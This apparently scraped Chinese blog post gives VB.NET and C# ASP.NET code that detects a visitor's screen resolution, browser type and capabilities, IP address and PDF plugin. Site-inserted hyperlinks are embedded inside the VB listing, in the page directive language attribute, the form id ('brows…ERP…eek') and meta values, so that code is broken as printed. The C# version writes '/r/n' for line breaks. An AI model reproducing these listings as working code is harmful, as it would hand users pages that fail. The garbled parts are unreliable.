ASP.NET检测客户端显示器分辨率、浏览器类型和客户端IP

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

    下面的代码实现了检测客户端显示器分辨率、浏览器类型和客户端IP的功能。你可以把客户端信息保存到Session,ViewState等中以便在其它的页面直接使用。
  
  ClientPeek.ASPx
  
  <%@ Page language="<a href="http://dev.21tx.com/language/vb/" target="_blank">VB</a>" EnableViewState="false" Codebehind="ClientPeek.aspx.vb"
   AutoEventWireup="false" Inherits="aspx<a href="http://dev.21tx.com/web/" target="_blank">Web</a>.ClientPeek"%>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
  <HTML>
   <HEAD>
   <title>检测客户端显示器分辨率、浏览器类型和客户端IP</title>
   <META http-equiv="Content-Type" content="text/html; charset=gb2312">
   <meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
   <meta content="<a href="http://dev.21tx.com/dotnet/csharp/" target="_blank">C#</a>" name="CODE_LANGUAGE">
   <meta content="【孟子E章】:http://<a href="http://dev.21tx.com/dotnet/xml/" target="_blank">XML</a>.sz.luohuedu<a href="http://dev.21tx.com/dotnet/" target="_blank">.net</a>/" name="CopyRight">
   <meta content="<a href="http://dev.21tx.com/web/javascript/" target="_blank">JavaScript</a>" name="vs_defaultClientScript">
   <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
   </HEAD>
   <body id="MyBody" MS_POSITIONING="GridLayout" runat="server">
   <form id="brows<a href="http://dev.21tx.com/corp/solution/erp/" target="_blank">ERP</a>eek" runat="server">
   <asp:label id="Label1" runat="server"></asp:label></form>
   </body>
  </HTML>
  
  ClientPeek.aspx.vb
  
  Imports System
  
  Public Class ClientPeek
   Inherits System.Web.UI.Page
   Protected WithEvents Label1 As System.Web.UI.WebControls.Label
   Protected WithEvents MyBody As System.Web.UI.HtmlControls.HtmlGenericControl
  
  
  #Region " Web 窗体设计器生成的代码 "
  
   '该调用是 Web 窗体设计器所必需的。
   <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  
   End Sub
  
   '注意: 以下占位符声明是 Web 窗体设计器所必需的。
   '不要删除或移动它。
   Private designerPlaceholderDeclaration As System.Object
  
   Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) _
   Handles MyBase.Init
   'CODEGEN: 此方法调用是 Web 窗体设计器所必需的
   '不要使用代码编辑器修改它。
   InitializeComponent()
   End Sub
  
  #End Region
  
   Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) _
   Handles MyBase.Load
   Dim Button1 As New System.Web.UI.WebControls.Button
   If Not Me.IsPostBack Then
   Dim btnW As New System.Web.UI.HtmlControls.HtmlInputHidden
   Dim btnH As New System.Web.UI.HtmlControls.HtmlInputHidden
   Button1.ID = "Button1"
   btnW.Name = "WidthPixel"
   btnW.ID = "WidthPixel"
   btnH.Name = "HeightPixel"
   btnH.ID = "HeightPixel"
   Me.FindControl("browserpeek").Controls.Add(btnW)
   Me.FindControl("browserpeek").Controls.Add(btnH)
   Me.FindControl("browserpeek").Controls.Add(Button1)
   Dim scriptString As String = ""
   scriptString += "document.browserpeek.WidthPixel.value=window.screen.width;"
   scriptString += "document.browserpeek.HeightPixel.value=window.screen.height;"
   Me.RegisterOnSubmitStatement("Meng", scriptString)
   Me.MyBody.Attributes.Add("onload", "document.browserpeek.Button1.click();")

    Else
   Me.MyBody.Attributes.Remove("onload")
   If Me.FindControl("browserpeek").Controls.Contains(Button1) Then
   Me.FindControl("browserpeek").Controls.Remove(Button1)
   Button1.Dispose()
   End If
   Dim strLabel As New System.Text.StringBuilder
   Dim bc As HttpBrowserCapabilities = Request.Browser
   strLabel.Append("您的浏览器的分辨率为:")
   strLabel.Append(Request.Form("WidthPixel"))
   strLabel.Append("×")
   strLabel.Append(Request.Form("HeightPixel"))
   strLabel.Append("<hr color='#000099'>")
   strLabel.Append("浏览器基本信息:<br>")
   strLabel.Append("Type = " & bc.Type & "<br>")
   strLabel.Append("Name = " & bc.Browser & "<br>")
   strLabel.Append("Version = " & bc.Version & "<br>")
   strLabel.Append("Major Version = " & bc.MajorVersion & "<br>")
   strLabel.Append("Minor Version = " & bc.MinorVersion & "<br>")
   strLabel.Append("Platform = " & bc.Platform & "<br>")
   strLabel.Append("Is Beta = " & bc.Beta & "<br>")
   strLabel.Append("Is Crawler = " & bc.Crawler & "<br>")
   strLabel.Append("Is AOL = " & bc.AOL & "<br>")
   strLabel.Append("Is Win16 = " & bc.Win16 & "<br>")
   strLabel.Append("Is Win32 = " & bc.Win32 & "<br>")
   strLabel.Append("支持 Frames = " & bc.Frames & "<br>")
   strLabel.Append("支持 Tables = " & bc.Tables & "<br>")
   strLabel.Append("支持 Cookies = " & bc.Cookies & "<br>")
   strLabel.Append("支持 VB Script = " & bc.VBScript & "<br>")
   strLabel.Append("支持 JavaScript = " & bc.JavaScript & "<br>")
   strLabel.Append("支持 Java Applets = " & bc.JavaApplets & "<br>")
   strLabel.Append("支持 ActiveX Controls = " & bc.ActiveXControls & "<br>")
   strLabel.Append("CDF = " & bc.CDF & "<br>")
   strLabel.Append("W3CDomVersion = " + bc.W3CDomVersion.ToString + "<br>")
   strLabel.Append("UserAgent = " + Request.UserAgent + "<br>")
   strLabel.Append("UserLanguages = " + Request.UserLanguages(0).ToString + "<br>")
   strLabel.Append("<hr color='#000099'>")
   strLabel.Append("客户端计算机基本配置:<br>")
   strLabel.Append("UserHostName = " + Request.UserHostName + "<br>")
   strLabel.Append("UserHostAddress = " + Request.UserHostAddress + "<br>")
   Label1.Text = strLabel.ToString()
   End If
   End Sub
  
  End Class
  
  C#代码
  
  ClientPeek.aspx
  
  <%@ Page language="c#" EnableViewState = "false" Codebehind="ClientPeek.aspx.cs" AutoEventWireup="false" Inherits="eMeng.Exam.ClientPeek" %>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
  <HTML>
   <HEAD>
   <title>检测客户端显示器分辨率、浏览器类型和客户端IP</title>
   <META http-equiv="Content-Type" content="text/html; charset=gb2312">
   <meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
   <meta content="C#" name="CODE_LANGUAGE">
   <meta content="【孟子E章】:http://xml.sz.luohuedu.net/" name="CopyRight">
   <meta content="JavaScript" name="vs_defaultClientScript">
   <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
   <script language=javascript>
   var PDFPlugin = false;
   try
   {
   pdftest=new ActiveXObject("PDF.PdfCtrl.6");
   }
   catch(e)
   {
   PDFPlugin = false
   }
   </script>
   </HEAD>
   <body id="MyBody" MS_POSITIONING="GridLayout" runat="server">
   <form id="browserpeek" runat="server" name="browserpeek">
   <asp:label id="Label1" runat="server"></asp:label></form>
   </body>
  </HTML>
  
  ClientPeek.aspx.cs
  
  using System;
  using System.Collections;
  using System.ComponentModel;
  using System.Data;
  using System.Drawing;
  using System.Web;
  using System.Web.SessionState;
  using System.Web.UI;
  using System.Web.UI.WebControls;
  using System.Web.UI.HtmlControls;

    namespace eMeng.Exam
  {
  /// <summary>
  /// CheckPeek 的摘要说明。
  /// </summary>
  public class ClientPeek : System.Web.UI.Page
  {
  protected System.Web.UI.WebControls.Label Label1;
  protected System.Web.UI.HtmlControls.HtmlGenericControl MyBody;
  private void Page_Load(object sender, System.EventArgs e)
  {
   // 在此处放置用户代码以初始化页面
   System.Web.UI.WebControls.Button Button1 = new System.Web.UI.WebControls.Button();
   if(!IsPostBack)
   {
   System.Web.UI.HtmlControls.HtmlInputHidden btnW = new System.Web.UI.HtmlControls.HtmlInputHidden();
   System.Web.UI.HtmlControls.HtmlInputHidden btnH = new System.Web.UI.HtmlControls.HtmlInputHidden();
   System.Web.UI.HtmlControls.HtmlInputHidden btnPDF = new System.Web.UI.HtmlControls.HtmlInputHidden();
   Button1.ID = "Button1";
   btnW.Name = "WidthPixel";
   btnW.ID = "WidthPixel";
   btnH.Name = "HeightPixel";
   btnH.ID = "HeightPixel";
   btnPDF.Name = "PDF";
   btnPDF.ID = "PDF";
   this.FindControl("browserpeek").Controls.Add(btnW);
   this.FindControl("browserpeek").Controls.Add(btnH);
   this.FindControl("browserpeek").Controls.Add(btnPDF);
   this.FindControl("browserpeek").Controls.Add(Button1);
   string scriptString = "";
   scriptString += "document.all.browserpeek.WidthPixel.value=window.screen.width;/r/n";
   scriptString += "document.all.browserpeek.HeightPixel.value=window.screen.height;/r/n";
   scriptString += "document.all.browserpeek.PDF.value=PDFPlugin;/r/n";
  
   this.RegisterOnSubmitStatement("Meng", scriptString);
   this.MyBody.Attributes.Add("onload", "document.all."+Button1.ClientID+".click();");
   }
   else
   {
   this.MyBody.Attributes.Remove("onload");
   if(this.FindControl("browserpeek").Controls.Contains(Button1))
   {
   this.FindControl("browserpeek").Controls.Remove(Button1);
   Button1.Dispose();
   }
   System.Text.StringBuilder strLabel = new System.Text.StringBuilder();
   HttpBrowserCapabilities bc = Request.Browser;
   strLabel.Append("您的浏览器的分辨率为:");
   strLabel.Append(Request.Form["WidthPixel"]);
   strLabel.Append("×");
   strLabel.Append(Request.Form["HeightPixel"]);
   strLabel.Append("<hr color='#000099'>");
   strLabel.Append("浏览器基本信息:<br>");
   strLabel.Append("Type = " + bc.Type + "<br>");
   strLabel.Append("Name = " + bc.Browser + "<br>");
   strLabel.Append("Version = " + bc.Version +"<br>");
   strLabel.Append("Major Version = " + bc.MajorVersion + "<br>");
   strLabel.Append("Minor Version = " + bc.MinorVersion + "<br>");
   strLabel.Append("Platform = " + bc.Platform + "<br>");
   strLabel.Append("Is Beta = " + bc.Beta + "<br>");
   strLabel.Append("Is Crawler = " + bc.Crawler + "<br>");
   strLabel.Append("Is AOL = " + bc.AOL + "<br>");
   strLabel.Append("Is Win16 = " + bc.Win16 + "<br>");
   strLabel.Append("Is Win32 = " + bc.Win32 + "<br>");
   strLabel.Append("支持 Frames = " + bc.Frames + "<br>");
   strLabel.Append("支持 Tables = " + bc.Tables + "<br>");
   strLabel.Append("支持 Cookies = " + bc.Cookies + "<br>");
   strLabel.Append("支持 VB Script = " + bc.VBScript + "<br>");
   strLabel.Append("支持 JavaScript = " + bc.JavaScript + "<br>");
   strLabel.Append("支持 Java Applets = " + bc.JavaApplets + "<br>");
   strLabel.Append("支持 ActiveX Controls = " + bc.ActiveXControls + "<br>");
   strLabel.Append("CDF = " + bc.CDF + "<br>");
   strLabel.Append("W3CDomVersion = " + bc.W3CDomVersion.ToString() + "<br>");
   strLabel.Append("UserAgent = " + Request.UserAgent + "<br>");
   strLabel.Append("UserLanguages = " + Request.UserLanguages[0].ToString() + "<br>");
   strLabel.Append("<hr color='#000099'>");
   strLabel.Append("客户端计算机基本配置:<br>");
   strLabel.Append("UserHostName = " + Request.UserHostName + "<br>");
   strLabel.Append("UserHostAddress = " + Request.UserHostAddress + "<br>");
   strLabel.Append("PDF 6.0 插件是否安装 = " + Request.Form["PDF"] + "<br>");
   Label1.Text = strLabel.ToString();
   }
  }
  
   #region Web 窗体设计器生成的代码
  override protected void OnInit(EventArgs e)
  {
   //
   // CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
   //
   InitializeComponent();
   base.OnInit(e);
  }
  
  /// <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {
   this.Load += new System.EventHandler(this.Page_Load);
  
  }
   #endregion
  }
  }

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值